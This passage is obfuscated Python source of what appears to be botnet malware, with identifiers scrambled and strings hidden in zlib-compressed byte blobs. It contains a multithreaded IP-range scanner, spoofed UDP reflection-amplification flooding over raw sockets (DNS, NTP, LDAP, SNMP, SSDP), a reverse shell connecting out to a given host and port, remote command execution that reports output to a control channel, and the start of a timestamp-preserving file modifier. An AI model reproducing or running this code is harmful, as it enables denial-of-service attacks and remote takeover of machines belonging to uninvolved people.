            if nsRpHajUCu == alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x1a\x9d\xc4\xc9\xd4\xca\xac\x0f\x00\x0c\x72\x02\x35")):
                self.AbJppCRv.send(alAcOFNUwaW(zlib.decompress("\x78\x9c\x6b\x49\x75\xd7\x57\x58\x62\x50\xb3\x37\xb2\x7f\x7d\x49\x57\xb4\xd6\xd4\x89\x06\x5f\x5c\x72\x25\x98\x67\xca\x19\xfd\xe7\xea\x7a\x26\x38\xd7\x35\xad\x6b\xba\xd9\x02\x71\x6d\xae\x74\x00\x86\x96\x11\x22")) % (self.AJEwioE,alAcOFNUwaW(zlib.decompress("\x78\x9c\xfb\xe8\xa2\x17\xe2\x7b\x89\x05\x00\x0c\xfb\x02\xdb")) % (oiKTMhUPaKbK, BbzTacjWG),str(VkaxyBho)))
            else:
                self.AbJppCRv.send(alAcOFNUwaW(zlib.decompress("\x78\x9c\x6b\x49\x75\xd7\x57\x58\x62\x50\xb3\x37\xb2\x7f\x7d\x49\x57\xb4\xd6\xd4\x89\x06\x5f\x5c\x72\x25\x98\x67\xca\x19\xfd\xe7\xea\x7a\x26\x38\xd7\x35\xad\x6b\xba\xd9\x02\x71\x6d\xae\x74\x00\x86\x96\x11\x22")) % (self.AJEwioE,alAcOFNUwaW(zlib.decompress("\x78\x9c\xfb\xe8\xa2\x17\xe2\x7b\x89\x05\x00\x0c\xfb\x02\xdb")) % (oiKTMhUPaKbK, BbzTacjWG),nsRpHajUCu))
        else:
            self.AbJppCRv.send(alAcOFNUwaW(zlib.decompress("\x78\x9c\x6b\x49\x75\xd7\x57\x58\x62\x50\xb3\x37\xb2\x7f\x7d\xd2\x44\x2f\x8d\x29\x13\xb5\x36\x8b\x6b\x73\xf9\xce\x90\xac\x79\xe1\x7a\xf7\xa1\xe0\xf5\x08\x1f\x00\xff\xd8\x0e\xc8")) % (self.AJEwioE,alAcOFNUwaW(zlib.decompress("\x78\x9c\xfb\xe8\xa2\x17\xe2\x7b\x89\x05\x00\x0c\xfb\x02\xdb")) % (oiKTMhUPaKbK, BbzTacjWG),nsRpHajUCu))
        self.xJibnhHhdPbstats[hpThdcol] = [0,0]
        for i in range(cnxBCWDSoe, wkLUMXoc):
            sniJIUhoK = socket.inet_ntoa(struct.pack('>I', i))
            try:
                if self.AELmEnMe == 1 or self.scannerenabled == 0:
                    return
                while self.VSoeKsdv >= (multiprocessing.cpu_count() * 10):
                    time.sleep(0.1)
                threading.Thread(target=self.BGjiMknf, args=(sniJIUhoK,nsRpHajUCu,ROkijyoNWojN,hpThdcol,)).start()
            except:
                pass
        self.AbJppCRv.send(alAcOFNUwaW(zlib.decompress("\x78\x9c\x6b\x49\x75\xd7\x57\x58\x62\x50\xb3\x37\xb2\x7f\x7d\xf9\x6c\x57\xfd\xce\x09\x8a\x1b\xc4\x6b\xa5\x78\x66\x4a\x9a\x7e\xf3\xed\x7f\x1e\x30\xc7\x47\xf9\xd6\x5d\xf3\x7b\x00\x40\x54\x11\x15")) % (self.AJEwioE,hpThdcol))
    def hjsWpVKjoi(self, pidVLaKkFbGn, nGjResWokZ, owEWJcNULo, wQGifAYDscm):
        self.NSVzWupZs = [['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x1a\x95\xcf\xcc\x34\x33\xd2\xfe\xbb\x3b\x00\x15\x32\x03\xf3"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x11\x57\x21\xe3\x3c\x45\xc2\x10\x00\x0e\xdf\x02\xcb"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x1d\x98\x21\xc0\x37\x29\xd2\xfe\xbb\x3b\x00\x15\x65\x03\xfb"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x10\x57\x2b\xc5\xd4\x2a\x5c\xf4\xdb\xf5\x10\x00\x1a\x0c\x04\xb4"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x1c\x97\x2a\xc0\x3a\x83\xa1\xe8\xb7\xeb\x21\x00\x18\x7d\x04\x88"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x16\x94\x25\x2d\x31\x55\xd4\xe0\x2f\xcb\x99\x5f\x31\x00\x22\xd7\x05\x93"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x1e\x51\xcd\xc9\x33\x53\xa0\xe8\xb7\xeb\x21\x00\x1a\x32\x04\xbd"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x12\x91\x24\x20\x39\x4f\xc4\x78\x9b\xe7\x81\x1f\x00\x1c\xa4\x05\x24"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x16\x97\x1f\x2e\xdf\x04\x00\x09\x41\x02\x6c"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x1c\x5c\x1b\xce\xd2\x0c\x00\x09\x5b\x02\x62"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x10\x94\xcd\x25\xdb\x2a\x67\xf4\x9f\xe5\xcc\xaf\x18\x00\x21\xec\x05\x7f"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\xea\x94\xce\xcc\xd2\xcb\x5b\xf4\xdb\xf5\x10\x00\x17\x1d\x04\x64"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\xea\x94\x25\xc0\x3f\x5b\xa8\xe8\xb7\xeb\x21\x00\x19\x0a\x04\xa2"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x16\xaa\x20\xc5\x34\x2b\xd2\xee\x15\x00\x0f\x76\x03\x63"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x13\x9a\xc8\xe8\x3c\x45\xc2\x10\x00\x0d\x2f\x02\x84"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\xe7\x9e\x2c\x26\x3f\x41\xcc\xe8\xb7\xd3\xb9\x67\x21\x77\x3c\x34\xa7\x03\x00\x40\x17\x07\x9f"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x1e\x96\x29\x23\xdb\x24\x5a\xf4\xdb\xf5\x10\x00\x19\x6a\x04\xab"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x1e\x9d\xcf\xcd\x32\x33\xd2\xfe\xbb\x3b\x00\x15\x93\x04\x00"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x1f\x97\x2b\x24\xd7\x2c\xa6\xf7\xc6\xff\xee\xee\xa0\xb9\x6e\x00\x31\x64\x06\x8a"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\xee\x5c\x2d\x2b\x72\x53\xc4\xf8\x2b\x00\x11\x6a\x03\xac"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\xec\x9a\xcd\x20\x39\x9f\xb5\xe8\xb7\xeb\x21\x00\x18\xb8\x04\x95"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x10\x94\x24\xc3\x36\x43\xaa\xe8\xb7\xeb\x21\x00\x18\xb2\x04\x9d"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x1e\x95\xcf\x2d\xd9\x2a\x64\xff\x2a\xfe\xd8\xc3\x90\x86\x88\x8c\x99\xd3\x35\x01\x4e\xfe\x08\x48"))],['\xff',alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x1c\x56\x22\x23\x39\x2d\x52\xef\x2d\x00\x12\x01\x03\xbd"))],['\xff',alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x14\x96\xc4\xc3\x31\x45\xc2\xf0\xab\xff\xdd\x6f\x21\x77\x5c\x95\xaf\x4c\x32\x01\x00\x4f\xba\x08\x95"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x1e\x97\x1e\xce\x37\x1b\x00\x09\x1e\x02\x6d"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\xe6\xac\xc0\x2d\x01\x00\x04\xdd\x01\x2d"))],['\xff',alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x1b\x99\xc8\xcd\x31\x4d\xd8\xf2\x15\xcb\x99\x5f\x31\x00\x22\x94\x05\x7d"))],['\xff',alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\xe4\x9a\x2d\x23\x3b\x4f\xa6\xe8\x6f\x24\x00\x15\x64\x04\x1e"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x1b\x94\x2c\xc3\x76\x53\xc4\xf8\x2b\x00\x11\x24\x03\x9a"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x13\x56\x27\x20\x39\x8d\xa5\xe8\x53\x14\x00\x15\xf0\x04\x12"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x13\x91\x28\xe2\x3c\x45\xc2\x10\x00\x0d\xa3\x02\x9a"))],['\xff',alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x16\x94\xc4\x27\x31\x29\xd2\xe2\x2f\x00\x11\x39\x03\xb1"))],['\xff',alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x14\x96\x20\xcf\x32\x85\xd9\xf4\xbb\x4b\xe3\xef\x90\x36\x00\x28\x25\x05\xe9"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x10\x56\xcb\xcb\x31\x43\xd0\xe4\xbb\xfb\xa9\xdd\x41\x73\xdd\x00\x2f\x58\x06\x5e"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x1e\x53\xce\xcd\x34\x43\xaa\xe8\xbb\xcb\xe1\x3f\xf1\xd3\x01\x2b\xb6\x06\x9c"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\xe0\x94\xc8\xc5\x31\x85\x49\xef\x63\xdc\xb5\xdd\x41\x73\xdd\x00\x2d\x5d\x06\x3f"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x10\x97\x21\xe0\x3c\x53\x02\x00\x0b\x66\x02\x7b"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x1b\x99\x25\xc6\x39\x8d\xbf\xe8\xb7\xeb\x21\x00\x1a\x21\x04\xb9"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x1c\x97\x24\xca\x32\x4d\x4a\x7f\x6b\xe4\x81\xdf\x71\xf3\xbd\x32\x66\x4e\xd7\x04\x00\x4c\xe9\x08\x2d"))],['\xff',alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x1f\x96\x2c\xc0\xda\x16\x69\xff\xdd\x1d\x00\x15\x20\x03\xea"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x11\x96\x2c\xc6\x39\x2d\x52\xef\x2d\x00\x11\x43\x03\x9b"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x19\x91\x20\xc6\x3c\x89\x41\x7f\x9b\xef\x5d\x00\x17\x54\x04\x2c"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x10\x97\x20\x23\x32\x29\xd2\xfe\xbb\x3b\x00\x15\x04\x03\xf7"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x1e\x96\xc0\xcb\x33\x53\xd8\xf2\x15\xcb\x99\x5f\x31\x77\xdc\xec\x00\x35\x39\x06\xcc"))],['\xff',alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x10\x9f\x2d\xc5\xd8\xc4\x6c\xff\xc1\xff\xee\xee\xa0\xb9\x6e\x00\x2e\x97\x06\x56"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x18\x95\x2f\xc0\x38\x4d\xd2\xf6\x4b\xf0\x9d\x87\xf2\x13\x5d\xb4\x01\x37\x39\x06\x9b"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x1e\x91\x2e\xce\x37\x5f\xc8\xfe\x33\xcb\x99\x5f\x31\x00\x23\xbc\x05\xa5"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\xe0\x54\x2e\xe1\x3c\x45\xc2\x10\x00\x0d\x41\x02\x92"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\xea\x9c\x24\xc1\xdc\x2c\x67\xff\x9d\xe5\xd4\x03\x00\x1c\x0d\x04\xfb"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x18\x99\x2e\xc5\x31\x31\xd2\xf8\x95\x2f\x00\x14\x86\x03\xd8"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x16\x57\xc2\xc9\x33\x85\xd5\xf2\x9d\xf3\xa9\x47\xf2\x13\x5d\xb4\x01\x36\x2b\x06\x6c"))],['\xff',alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x10\x51\x23\xc6\xdc\x2c\x61\xf8\x25\xb2\xf1\x77\x48\x1b\x00\x28\x70\x05\xfd"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x15\x91\xc3\xcd\x34\x47\x48\x6f\x9b\xf3\x41\x00\x17\xce\x04\x22"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x12\x56\xce\xcb\x30\x4b\xcc\xe0\x0b\xcb\x99\x5f\x31\x00\x22\x1a\x05\x79"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x17\x51\x23\xce\x33\x5b\xd8\xf2\xa7\xcb\x89\x5f\xb1\x93\x59\xd5\xa7\x02\x00\x40\xe4\x07\x4d"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x10\x97\x2c\x23\x37\x57\xc2\xee\x35\xcb\x99\x5f\x31\x00\x23\x5b\x05\xa0"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x1c\x56\x25\xc5\x3a\x2d\xd2\xfe\xbb\x3b\x00\x15\x56\x03\xff"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x1e\x96\x2c\xc5\xd3\xca\x5c\xf4\xdb\xf5\x10\x00\x18\x65\x04\x83"))],['\xff',alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\xec\x9e\x23\xc3\x35\x4f\xd2\xe8\x6f\x44\xe3\xb7\xb8\xf9\x00\x28\xd6\x06\x2f"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\xee\x52\x23\xee\x3c\x45\xc2\x10\x00\x0d\xa0\x02\x9f"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x11\x56\xcb\x2b\x3b\x8d\x45\x7f\x9b\xe7\x81\x1f\x00\x1d\xe5\x05\x36"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\xe0\x90\x2d\xc1\x36\x89\x55\x7f\x9b\xcb\xa9\x87\x00\x1a\xa2\x04\xd5"))],['\xff',alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x1a\x99\x2e\xc2\x31\x41\xa2\xe8\x7b\xc4\x09\x00\x19\xc0\x04\xc3"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x10\x5f\x23\xc0\xdd\x2c\x6a\xfc\xdd\xf1\xce\xee\xa0\xb9\x6e\x00\x2f\x8e\x06\x66"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x13\x91\x2c\xc3\x37\x49\x52\xe3\x6f\x44\xe3\xb7\xb8\xf9\xac\xaa\x53\x01\x3d\xc3\x06\xfd"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\xe8\x9c\x20\x23\xd5\x12\x69\xff\xdd\x1d\x00\x14\x99\x03\xe5"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x10\x54\x2b\xc0\x35\x53\xde\xf4\x8b\x5b\xe3\xb7\xb8\xf9\x00\x29\xeb\x06\x35"))],['\xff',alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x1c\x56\xc1\xcf\x71\x53\xc4\xf8\x2b\x00\x11\x39\x03\x9e"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x18\x95\x16\xce\xd1\x02\x00\x08\xbf\x02\x45"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x12\x56\x27\xc1\x36\x2f\xd2\xfe\xbb\x3b\x00\x15\xa0\x04\x0b"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x19\x97\x24\x20\x39\x8d\x55\x75\x9b\xe7\x81\x1f\x00\x1d\x0a\x05\x1a"))],['\xff',alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x1b\x99\x21\xc6\x3e\x43\x54\x7f\x9b\xe7\x81\x1f\xf2\x13\x22\x01\x2e\xe8\x06\x37"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\xea\x90\x2e\xc4\x38\x4d\x54\x7f\x9b\xe7\x81\x1f\x00\x1a\xe6\x04\xf1"))],['\xff',alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x1b\x95\x2c\xe0\x3c\x41\x42\x6b\x9b\xf7\x2d\x00\x19\x90\x04\x7b"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\xee\x9c\xcf\xc5\x7a\x53\xc4\xf8\x2b\x00\x10\x59\x03\x7e"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\xe9\x5e\x1b\xce\xd2\x0c\x00\x09\x43\x02\x5c"))],['\xff',alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\xea\x9e\xc8\xc7\xd1\xca\x62\xfc\x2f\xae\xf1\x5b\xdc\x7c\x00\x27\x42\x06\x00"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x1b\x55\x27\xc1\xd7\x1c\x69\xff\xdd\x1d\x00\x16\x67\x04\x15"))],['\xff',alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x17\x56\x2b\xc2\x32\x93\xc5\xf8\x5f\xdc\x8d\x2f\xce\xd3\x59\xcd\xfa\x00\x40\x36\x07\x45"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x14\x97\x24\x22\xd7\x2c\xa6\xf7\x26\xb2\xf1\x63\x08\x00\x23\x0a\x05\x77"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\xec\x9a\xc8\x27\x39\x5f\xde\xf6\xb7\xe3\xa9\xe7\x4e\x77\x3c\x34\xa7\x03\x00\x3f\x6d\x07\x8f"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\xe3\xa2\x20\xcf\x02\x00\x05\x63\x01\x44"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\xe6\x94\x23\xc0\x37\x43\x52\xe7\x95\xeb\xd1\x0f\x41\x6d\xac\xaa\x53\xa7\x02\x00\x42\x71\x07\x60"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x1a\x9d\x2b\xc8\x31\x4b\x48\x6f\x9b\xe7\x81\x1f\x00\x1d\x3f\x05\x28"))],['\xff',alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x19\x96\x26\xc1\x37\x89\xb9\xe8\x7b\xc4\x09\x00\x19\xb2\x04\xba"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x10\x56\x25\x26\x3f\x4d\xca\x76\x9b\xe7\x81\x1f\x00\x1e\x92\x05\x5a"))],['\x10',alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\xe5\x9e\x2c\x2c\x77\x53\xc4\xf8\x2b\x00\x11\x83\x03\xab"))]]
        for i in range(wQGifAYDscm):
            threading.Thread(target=self.oycJKMiH, args=(pidVLaKkFbGn,nGjResWokZ,time.time()+owEWJcNULo)).start()
    def qMyKCxNwjOf(self, nGjResWokZ, sock, sZJeKukqGDgw, pidVLaKkFbGn, dWmmEhail):
        aHTcSTUcBpe = {
            'dns': 53,
            'ntp': 123,
            alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x1e\x9d\x25\x21\x0b\x00\x06\x8f\x01\xb2")): 389,
            alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x1e\x99\xcc\x09\x00\x04\x7a\x01\x6d")): 161,
            alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\xee\x92\xc5\x09\x00\x04\x49\x01\x5f")): 1900,
        }
        udp = bBiKHqciJevc(random.randint(1, 65535), aHTcSTUcBpe[pidVLaKkFbGn], dWmmEhail).vdadgPSSFR(nGjResWokZ, sZJeKukqGDgw)
        ip = BTzeZVUeZ(nGjResWokZ, sZJeKukqGDgw, udp, gGBhpmocaC=socket.IPPROTO_UDP).vdadgPSSFR()
        sock.sendto(ip+udp+dWmmEhail, (sZJeKukqGDgw, aHTcSTUcBpe[pidVLaKkFbGn]))
    def FDiiYcawwh(self,iYdwdYcRY):
        return chr(len(iYdwdYcRY)) + iYdwdYcRY
    def make_aQKizZiU_NSVzWupZ(self, NSVzWupZ):
        PcooOiNoV = NSVzWupZ.split('.')
        PcooOiNoV = list(map(self.FDiiYcawwh, PcooOiNoV))
        return ''.join(PcooOiNoV)
    def WSyuhoPVP(self, aQKizZiU, hmQofVbwhgP):
        req = os.urandom(2) + "\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00"
        req += aQKizZiU
        req += '\x00\x00' + hmQofVbwhgP + '\x00\x01'
        return req
    def oycJKMiH(self, pidVLaKkFbGn, nGjResWokZ, OWAZAszeb):
        NfcCazcocXMg=open("." + pidVLaKkFbGn, "r")
        sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
        i = 0
        while 1:
            try:
                if time.time()>=OWAZAszeb or self.AELmEnMe == 1:
                    break
                sZJeKukqGDgw = NfcCazcocXMg.readline().strip()
                if sZJeKukqGDgw:
                    if pidVLaKkFbGn=='dns':
                        axfPawFNs = random.choice(self.NSVzWupZs)
                        self.qMyKCxNwjOf(nGjResWokZ, sock, sZJeKukqGDgw, pidVLaKkFbGn, self.WSyuhoPVP(self.make_aQKizZiU_NSVzWupZ(axfPawFNs[1]), axfPawFNs[0]))
                    else:
                        self.qMyKCxNwjOf(nGjResWokZ, sock, sZJeKukqGDgw, pidVLaKkFbGn, VkDJLmuU[pidVLaKkFbGn])
                else:
                    NfcCazcocXMg.seek(0)
            except:
                pass
        try:
            NfcCazcocXMg.close()
        except:
            pass
    def YEdQoXao(self, ip, port):
        if not os.name == 'nt':
            import pty
            s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((ip, int(port)));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(alAcOFNUwaW(zlib.decompress("\x78\x9c\xfb\x1d\x9a\x2e\xee\xd4\x22\x0f\x00\x0d\x2e\x02\xb4")))
        else:
            (lambda __y, __g, __contextlib: [[[[[[[(s.connect((ip, int(port))), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type(alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\xe8\x9f\x2b\x23\xdb\x0c\x00\x08\x7c\x02\x2a")), (), {alAcOFNUwaW(zlib.decompress("\x78\x9c\xeb\xce\xc8\x16\x97\x9c\xc4\xca\x7c\x1c\x00\x0f\x44\x02\xf0")): lambda self: None, alAcOFNUwaW(zlib.decompress("\x78\x9c\xeb\xce\xc8\x66\x64\x69\xd6\x60\x06\x00\x0b\xab\x02\x12")): lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda RSsBkbXd: RSsBkbXd())[1])]][0])})(), type('try', (), {alAcOFNUwaW(zlib.decompress("\x78\x9c\xeb\xce\xc8\x16\x97\x9c\xc4\xca\x7c\x1c\x00\x0f\x44\x02\xf0")): lambda self: None, alAcOFNUwaW(zlib.decompress("\x78\x9c\xeb\xce\xc8\x66\x64\x69\xd6\x60\x06\x00\x0b\xab\x02\x12")): lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __RSsBkbXd: __RSsBkbXd()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g[alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\xc2\x5a\xab\x26\x39\x9f\xd5\xf2\xa7\x1f\x00\x12\x41\x03\x8a"))] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g[alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\xce\x5a\xa7\x26\x39\x9f\xd5\xf2\xa7\x1f\x00\x12\x67\x03\x8e"))] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen([alAcOFNUwaW(zlib.decompress("\x78\x9c\xeb\x70\x48\x17\xe7\x9c\xc1\xa0\x7f\x24\xf2\xda\x33\xd7\xe9\x6e\xa5\x27\x96\xa8\xef\x0c\x56\x90\x11\x9d\x04\x00\x81\x20\x0a\x09"))], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __RSsBkbXd: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __RSsBkbXd())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __RSsBkbXd: __y(lambda __this: lambda: [(lambda __RSsBkbXd: (__l['p'].stdin.write(__l[alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x10\x56\x25\x01\x00\x04\xd2\x01\x99"))]), __RSsBkbXd())[1] if (len(__l[alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x10\x56\x25\x01\x00\x04\xd2\x01\x99"))]) > 0) else __RSsBkbXd())(lambda: __this()) for __l[alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x10\x56\x25\x01\x00\x04\xd2\x01\x99"))] in [(__l['s'].recv(1024))]][0] if True else __RSsBkbXd())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g[alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x1e\x91\x2b\xc4\xd1\x0c\x00\x08\x25\x02\x0a"))] in [(__import__(alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x1e\x91\x2b\xc4\xd1\x0c\x00\x08\x25\x02\x0a")), __g, __g))]][0] for __g[alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\xee\x94\xc3\x29\x3f\x43\xc4\xf2\x75\x24\x00\x13\x5d\x03\xa7"))] in [(__import__(alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\xee\x94\xc3\x29\x3f\x43\xc4\xf2\x75\x24\x00\x13\x5d\x03\xa7")), __g, __g))]][0] for __g[alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x10\x5f\x23\xc3\x33\x59\xce\xe8\x3f\x00\x10\xf2\x03\x86"))] in [(__import__(alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x10\x5f\x23\xc3\x33\x59\xce\xe8\x3f\x00\x10\xf2\x03\x86")), __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__(alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x1e\x91\xc0\xcb\xd1\xcf\x6c\xf0\xd1\x03\x00\x13\x64\x03\x80"))))
    def PfVJGGQmBiEH(self, cmd, lMxnoDsszXUq):
        try:
            avcohjGWyioX = subprocess.Popen(cmd,stdout=subprocess.PIPE,shell=True)
            while True:
                cjJjEBpd = avcohjGWyioX.stdout.readline()
                if avcohjGWyioX.poll() is not None and cjJjEBpd == '':
                    break
                if cjJjEBpd:
                    self.AbJppCRv.send(alAcOFNUwaW(zlib.decompress("\x78\x9c\x6b\x49\x75\xd7\x57\x58\x62\x50\xb3\x37\xb2\x7f\xbd\x48\xa3\x22\x00\x2e\x9f\x05\xda")) % (lMxnoDsszXUq,cjJjEBpd.strip()))
        except:
            self.AbJppCRv.send(alAcOFNUwaW(zlib.decompress("\x78\x9c\x6b\x49\x75\xd7\x57\x58\x62\x50\xb3\x37\xb2\x7f\x7d\xf9\x64\x27\xad\xf9\x73\x52\x16\x44\xe8\xc9\x88\x4e\x12\xd1\x7c\xe3\xdf\xff\x2d\x6e\xbe\x9b\xfa\x94\x39\x7e\x00\x32\xb6\x10\x07")) % self.AJEwioE)
    def QSLxhaSPpd(self,s, sub, repl, n):
        find = s.find(sub)
        i = find != -1
        while find != -1 and i != n:
            find = s.find(sub, find + 1)
            i += 1
        if i == n:
            return s[:find] + repl + s[find+len(sub):]
        return s
    def TAxhLnLoU(self, fZgSeHAQLu):
        global ampoNiAli
        try:
            XcolMxwYO=False
            fZgSeHAQLu=os.path.realpath(fZgSeHAQLu)
            sKMzkipNGsea=(os.path.getatime(fZgSeHAQLu), os.path.getmtime(fZgSeHAQLu))
            mcZXdYmuW=open(fZgSeHAQLu,"rb")
            aSXdTzxUG=mcZXdYmuW.read()
